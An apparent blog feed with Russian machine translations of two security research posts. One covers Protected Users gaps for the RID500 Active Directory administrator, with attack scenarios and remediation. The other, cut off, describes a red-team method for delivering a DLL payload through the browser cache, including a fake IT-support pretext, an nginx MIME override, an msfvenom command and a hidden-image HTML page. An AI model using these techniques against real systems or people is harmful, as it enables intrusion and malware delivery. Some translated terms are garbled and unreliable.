<?xml version="1.0" encoding="utf-8" ?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:tt="http://teletype.in/" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/"><title>William Cross</title><author><name>William Cross</name></author><id>https://teletype.in/atom/papioss</id><link rel="self" type="application/atom+xml" href="https://teletype.in/atom/papioss?offset=0"></link><link rel="alternate" type="text/html" href="https://teletype.in/@papioss?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><link rel="next" type="application/rss+xml" href="https://teletype.in/atom/papioss?offset=10"></link><link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></link><updated>2026-06-10T04:55:26.353Z</updated><entry><id>papioss:gUKlG4_Ac8k</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/gUKlG4_Ac8k?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>вы думали, что находитесь в безопасности, ?</title><published>2023-11-01T12:22:48.949Z</published><updated>2023-11-01T12:22:48.949Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img2.teletype.in/files/10/6f/106f2068-74a5-4305-8448-3475e9513514.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/1.png&quot;&gt;31 октября 2022 года был объединен PR на CrackMapExec от Томаса Сеньёре (@Zblurx). Этот PR исправил аутентификацию Kerberos в среде CrackMapExec. Увидев это, мне сразу захотелось попробовать и немного поиграть. При этом я обнаружил странное поведение группы «Защищенные пользователи». В этом сообщении блога я объясню, что такое группа «Защищенные пользователи», почему это хорошая функция безопасности и почему она неполная для пользователя «Администратор» (RID500).</summary><content type="html">
  &lt;p id=&quot;kSUv&quot;&gt;31 октября 2022 года был объединен PR на CrackMapExec от Томаса Сеньёре (@Zblurx). Этот PR исправил аутентификацию Kerberos в среде CrackMapExec. Увидев это, мне сразу захотелось попробовать и немного поиграть. При этом я обнаружил странное поведение группы «Защищенные пользователи». В этом сообщении блога я объясню, что такое группа «Защищенные пользователи», почему это хорошая функция безопасности и почему она неполная для пользователя «Администратор» (RID500).&lt;/p&gt;
  &lt;h1 id=&quot;i-usual-internal-assessment-scenario-and-pthopth&quot;&gt;I/ Обычный сценарий внутренней оценки и PtH/OPtH&lt;/h1&gt;
  &lt;p id=&quot;H7jL&quot;&gt;В моем предыдущем посте о токенах доступа Windows я описал один из наиболее распространенных сценариев, с которыми мы сталкиваемся при внутренних оценках. По сути, мы компрометируем один сервер, сбрасываем его базу данных SAM и память LSASS, чтобы получить учетные данные в открытом виде или NT-хэши. Мы также можем сбросить билеты Kerberos и вообще любой другой материал, который мы могли бы использовать для подключения где-либо еще:&lt;/p&gt;
  &lt;figure id=&quot;UMEk&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/1.png&quot; width=&quot;808&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;JXxs&quot;&gt;Будь то в базе данных SAM или в памяти процесса LSASS, вы наверняка найдете NT-хэши:&lt;/p&gt;
  &lt;figure id=&quot;CRvK&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/2.png&quot; width=&quot;803&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;dpcn&quot;&gt;В Windows наличие NT-хеша эквивалентно наличию пароля в виде открытого текста. Если мы посмотрим на протокол аутентификации NTLM, то увидим, что запрос зашифрован с использованием NT-хеша пользователя:&lt;/p&gt;
  &lt;figure id=&quot;kvOj&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/3.png&quot; width=&quot;826&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;fLKc&quot;&gt;Поскольку у нас есть NT-хеш, мы можем зашифровать запрос, не зная соответствующего пароля в виде открытого текста.&lt;/p&gt;
  &lt;p id=&quot;b3eu&quot;&gt;На Kerberos все примерно так же. Протокол аутентификации Kerberos основан на четырех пакетах:&lt;/p&gt;
  &lt;ul id=&quot;R1ud&quot;&gt;
    &lt;li id=&quot;vPMQ&quot;&gt;KRB_AS_REQ&lt;/li&gt;
    &lt;li id=&quot;UMxK&quot;&gt;KRB_AS_REP&lt;/li&gt;
    &lt;li id=&quot;NYXh&quot;&gt;KRB_TGS_REQ&lt;/li&gt;
    &lt;li id=&quot;aWON&quot;&gt;KRB_TGS_REP&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;n5Sb&quot;&gt;Процесс следующий:&lt;/p&gt;
  &lt;figure id=&quot;2Tjw&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/4.png&quot; width=&quot;811&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;saj6&quot;&gt;Важной частью является «метка времени, зашифрованная ключом, полученным из пароля пользователя». Как пользователь, мы можем зашифровать временную метку с помощью ключа, который можно получить с помощью одного из следующих алгоритмов:&lt;/p&gt;
  &lt;ul id=&quot;jbzQ&quot;&gt;
    &lt;li id=&quot;dcdQ&quot;&gt;RC4&lt;/li&gt;
    &lt;li id=&quot;SBX1&quot;&gt;ДЕС&lt;/li&gt;
    &lt;li id=&quot;JeuP&quot;&gt;АЭС-128&lt;/li&gt;
    &lt;li id=&quot;bFCZ&quot;&gt;АЭС-256&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;aLS4&quot;&gt;Интересно то, что RC4 шифрует метку времени, используя NT-хэш пользователя. Поскольку у нас есть действительный NT-хеш, мы можем зашифровать временную метку и получить действительный пакет KRB_AS_REQ. С помощью платформы CrackMapExec мы теперь можем подключаться к удаленным серверам, используя две хорошо известные атаки:&lt;/p&gt;
  &lt;ul id=&quot;txWJ&quot;&gt;
    &lt;li id=&quot;gRIl&quot;&gt;Передайте хеш (для протокола аутентификации NTLM):&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;6ebI&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/5.png&quot; width=&quot;842&quot; /&gt;
  &lt;/figure&gt;
  &lt;ul id=&quot;gjJD&quot;&gt;
    &lt;li id=&quot;I7FR&quot;&gt;OverPass the Hash (для протокола аутентификации Kerberos):&lt;/li&gt;
  &lt;/ul&gt;
  &lt;figure id=&quot;zVP6&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/6.png&quot; width=&quot;834&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jVLH&quot;&gt;Эти атаки основаны на том факте, что можно использовать NT-хэш для шифрования секрета, используемого для аутентификации пользователя. Чтобы защититься от этого, можно добавить конфиденциальных пользователей в группу «Защищенные пользователи».&lt;/p&gt;
  &lt;h1 id=&quot;ii-protected-users-group&quot;&gt;II/ Группа защищенных пользователей&lt;/h1&gt;
  &lt;p id=&quot;u80X&quot;&gt;Группа «Защищенные пользователи» появилась в Windows Server 2012R2. Если мы посмотрим на статью MSDN, то увидим, что пользователи в этой группе имеют усиленные параметры безопасности:&lt;/p&gt;
  &lt;figure id=&quot;3Ru0&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/7.png&quot; width=&quot;747&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0ZNl&quot;&gt;Как видите, аутентификация NTLM отключена, алгоритм RC4 не может использоваться для шифрования метки времени для аутентификации Kerberos и, наконец, делегирование Kerberos отключено. Давайте проверим это.&lt;/p&gt;
  &lt;p id=&quot;dkgM&quot;&gt;Сначала я добавлю нового пользователя-администратора домена (admin2), который находится в группе «Защищенные пользователи»:&lt;/p&gt;
  &lt;figure id=&quot;aAvT&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/8.png&quot; width=&quot;668&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3pBx&quot;&gt;Теперь попробуем пройти аутентификацию с помощью NTLM:&lt;/p&gt;
  &lt;figure id=&quot;cwfO&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/9.png&quot; width=&quot;852&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Frr0&quot;&gt;Как видите, это не работает, мы получаем «STATUS_ACCOUNT_RESTRICTION». А теперь попробуем использовать Kerberos:&lt;/p&gt;
  &lt;figure id=&quot;aBUN&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/10.png&quot; width=&quot;849&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;glvf&quot;&gt;Это тоже не работает (KDC_ERR_PREAUTH_FAILED). Так что да, похоже, что ожидаемые функции безопасности Защищенных пользователей применимы к пользователю admin2. Но применимы ли они ко всем пользователям?&lt;/p&gt;
  &lt;h1 id=&quot;iii-the-strange-behaviour&quot;&gt;III/ Странное поведение&lt;/h1&gt;
  &lt;ul id=&quot;U2Rb&quot;&gt;
    &lt;li id=&quot;e6Zx&quot;&gt;Чехол для ключей RC4&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;GNxz&quot;&gt;Пока я играл с CrackMapExec PR, я случайно пытался пройти аутентификацию с использованием Kerberos в качестве учетной записи WHITEFLAG/Администратора, и я понял, что это работает, даже если пользователь находится в группе Защищенные пользователи:&lt;/p&gt;
  &lt;figure id=&quot;MI4Y&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/11.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;4B9H&quot;&gt;Аутентификация NTLM, напротив, не удалась:&lt;/p&gt;
  &lt;figure id=&quot;4t7w&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/12.png&quot; width=&quot;851&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;Grkf&quot;&gt;Это означает, что ограничение группы «Защищенные пользователи» не является полным, когда речь идет о пользователе RID500 домена Active Directory. Мы не можем подключиться, используя протокол аутентификации NTLM, но можем подключиться, используя протокол аутентификации Kerberos с RC4.&lt;/p&gt;
  &lt;ul id=&quot;qA48&quot;&gt;
    &lt;li id=&quot;fbEZ&quot;&gt;Дело о делегировании&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;M3jB&quot;&gt;Еще одно странное поведение связано с делегированием Kerberos. Обычно, когда пользователь входит в группу «Защищенные пользователи», его нельзя делегировать. Здесь я пытаюсь злоупотребить сценарием делегирования RBCD из OCD$ в ADCS1$, чтобы получить билет службы сначала как pu_user, который является защищенным пользователем, а затем как not_pu_user, что не является таковым. Во-первых, давайте посмотрим на делегацию:&lt;/p&gt;
  &lt;figure id=&quot;2o1I&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/13.png&quot; width=&quot;845&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;hss5&quot;&gt;Давайте посмотрим на разницу между делегированием pu_user и not_pu_user с помощью RBCD:&lt;/p&gt;
  &lt;figure id=&quot;edAz&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/14.png&quot; width=&quot;833&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;bNId&quot;&gt;Мы ясно видим разницу: Защищенных пользователей нельзя делегировать. Но подождите, давайте посмотрим, как обстоят дела с учетной записью администратора RID 500…&lt;/p&gt;
  &lt;figure id=&quot;cD2T&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/15.png&quot; width=&quot;847&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;d91C&quot;&gt;Даже если учетная запись администратора RID 500 находится в группе «Защищенные пользователи», ее можно делегировать. Хорошо, но почему ?&lt;/p&gt;
  &lt;p id=&quot;PaBL&quot;&gt;Злоупотребление делегированием RBCD состоит из следующих двух этапов:&lt;/p&gt;
  &lt;ul id=&quot;xBEV&quot;&gt;
    &lt;li id=&quot;DbeX&quot;&gt;S4U2Self: запросить билет службы для произвольного пользователя для контролируемой учетной записи.&lt;/li&gt;
    &lt;li id=&quot;9eiC&quot;&gt;S4U2Proxy: запросите билет службы от имени произвольного пользователя для учетной записи целевого компьютера, используя ранее полученный билет службы в качестве дополнительного билета.&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;eHiy&quot;&gt;Когда вы пытаетесь выдать себя за защищенного пользователя, S4U2Self выдает вам билет службы без установленного флага пересылки. Вот почему часть S4U2Proxy завершается с ошибкой KDC_BADOPTION. Однако при олицетворении пользователя администратора RID 500 флаг пересылки устанавливается независимо от того, является ли пользователь защищенным пользователем:&lt;/p&gt;
  &lt;figure id=&quot;RdSm&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/16.png&quot; width=&quot;845&quot; /&gt;
  &lt;/figure&gt;
  &lt;h1 id=&quot;iv-exploitation-scenario&quot;&gt;IV/ Сценарий разработки&lt;/h1&gt;
  &lt;ul id=&quot;5kbj&quot;&gt;
    &lt;li id=&quot;pB1o&quot;&gt;Чехол для ключей RC4&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;U6mD&quot;&gt;Используя эту ошибку, мы можем выполнить определенный сценарий. Допустим, у нас есть вымышленная компания Whiteflag. Два года назад они создали свой домен Active Driectory (whiteflag.local), не позаботившись о безопасности. Таким образом, они использовали учетную запись домена RID500 (WHITEFLAG/Администратор) для администрирования своих серверов.&lt;/p&gt;
  &lt;p id=&quot;cMWn&quot;&gt;Перенесемся год назад, они попросили провести внутреннюю оценку. Пентестерам удалось скомпрометировать домен и приказали команде безопасности добавить всех пользователей-администраторов домена в группу «Защищенные пользователи». Команда безопасности сделала это, но поскольку они не закрывали сеансы RDP должным образом, NT-хэш учетной записи WHITEFLAG/Администратора все еще хранился в памяти процесса LSASS.&lt;/p&gt;
  &lt;p id=&quot;EsC8&quot;&gt;Сегодня вас наняли для тестирования их недавно усиленной сети Active Directory. Если вам удастся скомпрометировать сервер, на котором сеанс RDP все еще активен для учетной записи WHITEFLAG/Администратора, вы сможете получить его NT-хэш. Поскольку ограничения защищенных пользователей для этого пользователя не применяются, вы сможете подключиться к контроллеру домена, используя проверку подлинности Kerberos.&lt;/p&gt;
  &lt;p id=&quot;mYET&quot;&gt;Да, я знаю, это очень специфический сценарий, но эй, такое может случиться! Еще интересно то, что для этой учетной записи также будет работать делегирование Kerberos.&lt;/p&gt;
  &lt;ul id=&quot;WnFf&quot;&gt;
    &lt;li id=&quot;l17o&quot;&gt;Дело о делегировании&lt;/li&gt;
  &lt;/ul&gt;
  &lt;p id=&quot;xkoF&quot;&gt;Здесь сценарий более прямолинеен. Если каждая учетная запись администратора входит в список «Защищенные пользователи» и вам необходимо злоупотребить сценарием делегирования RBCD (или любым другим делегированием Kerberos), вы можете просто выдать себя за учетную запись администратора RID 500, и это будет работать!&lt;/p&gt;
  &lt;h1 id=&quot;v-remediation&quot;&gt;V/ Исправление&lt;/h1&gt;
  &lt;p id=&quot;uphh&quot;&gt;Если мы посмотрим на атрибуты учетной записи RID500, мы увидим, что для значения ms-DSSupportedProtocolEncryption установлено значение 0x0:&lt;/p&gt;
  &lt;figure id=&quot;J7pb&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/17.png&quot; width=&quot;653&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6UBC&quot;&gt;Этот атрибут содержит шестнадцатеричное значение, указывающее, какой тип протокола аутентификации включен для этой учетной записи. Поскольку значение равно 0x0, мы можем сделать вывод, что можно использовать любой протокол аутентификации. Если мы установим это значение равным 24 (0x18), что включает только AES-128 и AES-256:&lt;/p&gt;
  &lt;figure id=&quot;UU4f&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/18.png&quot; width=&quot;667&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;KuAp&quot;&gt;Мы увидим, что мы все еще можем подключиться с помощью атаки OverPass-the-Hash. Единственный способ полностью отключить RC4 — ограничить его для всей среды Active Directory, что может быть опасно, если серверы/приложения по-прежнему полагаются на этот тип аутентификации.&lt;/p&gt;
  &lt;p id=&quot;CZVx&quot;&gt;Чтобы избежать трюка с делегированием, вам необходимо отметить опцию «Учетная запись конфиденциальна и не может быть делегирована», даже если учетная запись RID500 находится в категории «Защищенные пользователи».&lt;/p&gt;
  &lt;figure id=&quot;L2OF&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/19.png&quot; width=&quot;562&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;6Xv8&quot;&gt;Другим решением было бы просто отключить учетную запись домена RID500, которая, согласно документации Microsoft, также опасна:&lt;/p&gt;
  &lt;figure id=&quot;vmWe&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://blog.whiteflag.io/protected-users-you-though-you-were-safe/20.png&quot; width=&quot;821&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jwmp&quot;&gt;Обратите внимание, что об этой ошибке было сообщено в MSRC. Они ответили, что такое поведение задумано и не является ошибкой. Тем не менее, учетной записью RID500 можно злоупотреблять, так что имейте это в виду ;)!&lt;/p&gt;
  &lt;p id=&quot;wjr6&quot;&gt;Удачного взлома :)!&lt;/p&gt;
  &lt;p id=&quot;xV3n&quot;&gt;Эту статью написали Орельен ШАЛОТ ( &lt;a href=&quot;https://twitter.com/Defte_&quot; target=&quot;_blank&quot;&gt;@Defte_&lt;/a&gt; ) и Томас Сеньёре ( &lt;a href=&quot;https://twitter.com/_zblurx&quot; target=&quot;_blank&quot;&gt;@_zblurx&lt;/a&gt; ). Мы также хотели бы поблагодарить некоторых друзей за эти ночные беседы, которые мы провели, чтобы попытаться понять, что происходит: Чарли БРОМБЕРГ ( @_nwodtuhs &lt;a href=&quot;https://twitter.com/_nwodtuhs&quot; target=&quot;_blank&quot;&gt;)&lt;/a&gt; , Марсьяль ПЮГРЕНЬЕ ( &lt;a href=&quot;https://twitter.com/mpgn_x64&quot; target=&quot;_blank&quot;&gt;@mpgn_x64&lt;/a&gt; ), Вилфрид БЕКАРД ( &lt;a href=&quot;https://twitter.com/tiyeuse&quot; target=&quot;_blank&quot;&gt;@tiyeuse&lt;/a&gt; ), а также &lt;a href=&quot;https://hideandsec.sh/&quot; target=&quot;_blank&quot;&gt;Сообщество Hide&amp;amp;Sec&lt;/a&gt; .&lt;/p&gt;
  &lt;p id=&quot;CeYW&quot;&gt;Этот пост был впервые опубликован на &lt;a href=&quot;https://sensepost.com/blog/2023/protected-users-you-thought-you-were-safe-uh/&quot; target=&quot;_blank&quot;&gt;https://sensepost.com/blog/2023/protected-users-you- Thought-you-were-safe-uh/.&lt;/a&gt;&lt;/p&gt;

</content></entry><entry><id>papioss:zUWf_XJO3Sf</id><link rel="alternate" type="text/html" href="https://teletype.in/@papioss/zUWf_XJO3Sf?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=papioss"></link><title>кэш браузеров контрабанда</title><published>2023-11-01T12:21:34.047Z</published><updated>2023-11-01T12:21:34.047Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/09/16/0916c532-439a-42b0-a820-c3b58c3f0164.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/firefox_cache_content.png&quot;&gt;В ходе работы с красной командой я часто использую социальную инженерию, чтобы заставить одного из сотрудников моего клиента запустить мой вредоносный код на их машинах, что позволяет мне получить доступ к их системе. Типичный подход, который я использовал, — позвонить им, сказать, что я из ИТ-поддержки, а затем предложить им перейти на официальную веб-страницу, содержащую некоторый код PowerShell, который им нужно запустить, чтобы исправить некоторые выдуманные ошибки. проблема.</summary><content type="html">
  &lt;p id=&quot;cKzS&quot;&gt;В ходе работы с красной командой я часто использую социальную инженерию, чтобы заставить одного из сотрудников моего клиента запустить мой вредоносный код на их машинах, что позволяет мне получить доступ к их системе. Типичный подход, который я использовал, — позвонить им, сказать, что я из ИТ-поддержки, а затем предложить им перейти на официальную веб-страницу, содержащую некоторый код PowerShell, который им нужно запустить, чтобы исправить некоторые выдуманные ошибки. проблема.&lt;/p&gt;
  &lt;p id=&quot;8qyX&quot;&gt;Однако этот подход хорошо известен поставщикам средств безопасности, и в наши дни почти все продукты для защиты от вредоносного ПО и EDR блокируют или, по крайней мере, предупреждают о любом подозрительно выглядящем коде PowerShell, особенно коде, который загружает полезную нагрузку, а затем выполняет ее. Я хотел найти другой, более незаметный способ доставить полезную нагрузку целевым пользователям.&lt;/p&gt;
  &lt;p id=&quot;hsrd&quot;&gt;Итак, первый вопрос, который я задал себе: какие механизмы ежедневно использует операционная система, которыми я могу манипулировать для доставки вредоносного ПО? И тут мне в голову пришло: кеш браузера!&lt;/p&gt;
  &lt;p id=&quot;f456&quot;&gt;В этой статье я представлю технику, с помощью которой злоумышленник с помощью социальной инженерии заставляет целевого сотрудника посетить веб-сайт. Затем веб-сайт автоматически поместит полезную нагрузку DLL в кеш браузера, замаскированную под изображение. На том же веб-сайте пользователь с помощью социальной инженерии запускает безобидный на вид однострочный файл PowerShell, который перемещает полезную нагрузку DLL в папку, где она будет автоматически выполняться. Я также покажу еще несколько интересных вещей, которые я обнаружил в отношении Defender во время этого исследования.&lt;/p&gt;
  &lt;h2 id=&quot;ANj2&quot;&gt;I/ Что такое кеш браузера?&lt;/h2&gt;
  &lt;p id=&quot;BZKB&quot;&gt;Когда вы перемещаетесь по Интернету, ваш браузер загружает массу файлов, таких как изображения, видео, CSS, JavaScript и так далее. Загрузка одной и той же страницы дважды означает, что браузер дважды загрузит одни и те же файлы. Это бесполезно и требует много ресурсов процессора, а также пропускной способности сети.&lt;/p&gt;
  &lt;p id=&quot;G98s&quot;&gt;В современных браузерах реализован механизм, позволяющий хранить эти файлы локально, чтобы не приходилось загружать их каждый раз. Этот механизм называется кэшем браузера.&lt;/p&gt;
  &lt;p id=&quot;bElP&quot;&gt;Если мы посмотрим, как работает Firefox в Windows, мы увидим, что в AppData/Local есть каталог Firefox, в котором хранятся файлы, похожие на кэшированные:&lt;/p&gt;
  &lt;figure id=&quot;3BHJ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/firefox_cache_content.png&quot; width=&quot;860&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;o4Fq&quot;&gt;А файлов довольно много, около 300МБ:&lt;/p&gt;
  &lt;figure id=&quot;8VGS&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/image-12.png&quot; width=&quot;358&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;zbDD&quot;&gt;Теперь давайте очистим этот каталог и перейдем на сайт https://orangecyberdefense.com. Вы увидите, что новые файлы добавляются во время навигации:&lt;/p&gt;
  &lt;figure id=&quot;H88g&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/cache_filling.png&quot; width=&quot;941&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jqgq&quot;&gt;Итак, кажется, мы нашли механизм, автоматически скачивающий файлы!&lt;/p&gt;
  &lt;p id=&quot;BH79&quot;&gt;Однако браузеры не будут кэшировать любой файл, предоставленный сервером. Он будет кэшировать статические ресурсы — файлы, содержимое которых не будет часто меняться. Таким образом, наши браузеры в основном кэшируют изображения, видео и иногда JS/CSS. Было бы здорово, если бы мы могли каким-то образом заставить браузер кешировать файлы, содержащие двоичную полезную нагрузку, например файлы DLL или EXE. Как мы это делаем?&lt;/p&gt;
  &lt;h2 id=&quot;uaWx&quot;&gt;II/ Управление механизмами кэширования браузеров&lt;/h2&gt;
  &lt;p id=&quot;azVH&quot;&gt;Чтобы определить, какие файлы кэшировать, браузеры в основном будут полагаться на заголовок Content-Type, отправленный веб-сервером. Например, на скриншоте ниже мы видим, что файл « &lt;code&gt;avatar.jpg&lt;/code&gt;» был отправлен сервером и его тип содержимого — « &lt;code&gt;image/jpeg&lt;/code&gt;»:&lt;/p&gt;
  &lt;figure id=&quot;9F92&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/content_type.png&quot; width=&quot;856&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;rpjj&quot;&gt;В Linux веб-серверы обычно используют этот &lt;code&gt;/etc/mime.types&lt;/code&gt;файл, чтобы знать, какой тип контента он должен возвращать для конкретного файла. Содержимое &lt;code&gt;/etc/mime.types&lt;/code&gt;обычно выглядит так:&lt;/p&gt;
  &lt;figure id=&quot;JMT9&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/mimes_types.png&quot; width=&quot;741&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ty3F&quot;&gt;Этот файл содержит значения типов контента, связанные с расширением файлов. Таким образом, когда веб-сервер (в данном случае Nginx) видит, что файл &lt;code&gt;avatar.jpg&lt;/code&gt;запрошен, он проверит &lt;code&gt;mime.types&lt;/code&gt;файл, чтобы определить тип содержимого расширения .jpg, и увидит, что это &lt;code&gt;image/jpeg&lt;/code&gt;:&lt;/p&gt;
  &lt;p id=&quot;8jJz&quot;&gt;Как злоумышленник, мы можем переопределить эти значения. Помните, наша цель — принудительно загрузить либо DLL, либо EXE-файл. Для этого нам просто нужно изменить тип содержимого, связанного с файлами DLL и EXE, с &lt;code&gt;application/x-msdos-program&lt;/code&gt;на &lt;code&gt;image/jpeg&lt;/code&gt;. Это просто делается с помощью следующей строки в вашей конфигурации Nginx:&lt;/p&gt;
  &lt;pre id=&quot;BXfX&quot;&gt;types { } default_type image/jpeg;&lt;/pre&gt;
  &lt;p id=&quot;wRv5&quot;&gt;Это аннулирует сопоставление типов mime в памяти, а затем устанавливает тип контента по умолчанию на « &lt;code&gt;image/jpg&lt;/code&gt;» для неизвестных типов (т. е. для всех файлов, поскольку мы сначала уничтожили сопоставления). Включение этого в блок «местоположение», который соответствует только вашей полезной нагрузке, позволит достичь желаемого эффекта, не превращая все в «изображение». См. часть III ниже для получения полной конфигурации в контексте.&lt;/p&gt;
  &lt;p id=&quot;mAbZ&quot;&gt;Далее нам нужно будет сгенерировать две вещи:&lt;/p&gt;
  &lt;ul id=&quot;SxNy&quot;&gt;
    &lt;li id=&quot;Pk5Q&quot;&gt;DLL, в данном случае простая, которая будет запускать файл Calc.exe, созданный с помощью MSFVenom:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;BvWR&quot;&gt;msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f dll &amp;gt; calc.dll&lt;/pre&gt;
  &lt;ul id=&quot;EYB5&quot;&gt;
    &lt;li id=&quot;MLfF&quot;&gt;HTML-страница, в которую DLL встроена в тег img:&lt;/li&gt;
  &lt;/ul&gt;
  &lt;pre id=&quot;qkAs&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
        &amp;lt;body&amp;gt;
                &amp;lt;h1&amp;gt;Browser cache smuggling&amp;lt;/h1&amp;gt;
                &amp;lt;img src=&amp;quot;calc.dll&amp;quot; style=&amp;quot;display: none;&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;
        &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/pre&gt;
  &lt;p id=&quot;KnKj&quot;&gt;Затем мы очищаем кеш Firefox, перезагружаем HTML-страницу и видим, что файл был загружен:&lt;/p&gt;
  &lt;figure id=&quot;1ylR&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/image-15.png&quot; width=&quot;570&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;jHPk&quot;&gt;Учитывая размер кэшированных файлов, можно сделать вывод, что файл, начинающийся с 75E… — это наша Calc DLL. Для уверенности мы можем загрузить следующую страницу в Firefox:&lt;/p&gt;
  &lt;pre id=&quot;pz80&quot;&gt;about:cache?storage=disk&lt;/pre&gt;
  &lt;p id=&quot;6QTX&quot;&gt;Это список всех кэшированных файлов в Firefox. И если мы выполним поиск строки, мы увидим, что она &lt;code&gt;calc.dll&lt;/code&gt;была кэширована:&lt;/p&gt;
  &lt;figure id=&quot;4QfJ&quot; class=&quot;m_custom&quot;&gt;
    &lt;img src=&quot;https://sensepost.com/img/pages/blog/2023/browsers-cache-smuggling/calc_cache_entry.png&quot; width=&quot;879&quot; /&gt;
  &lt;/figure&gt;
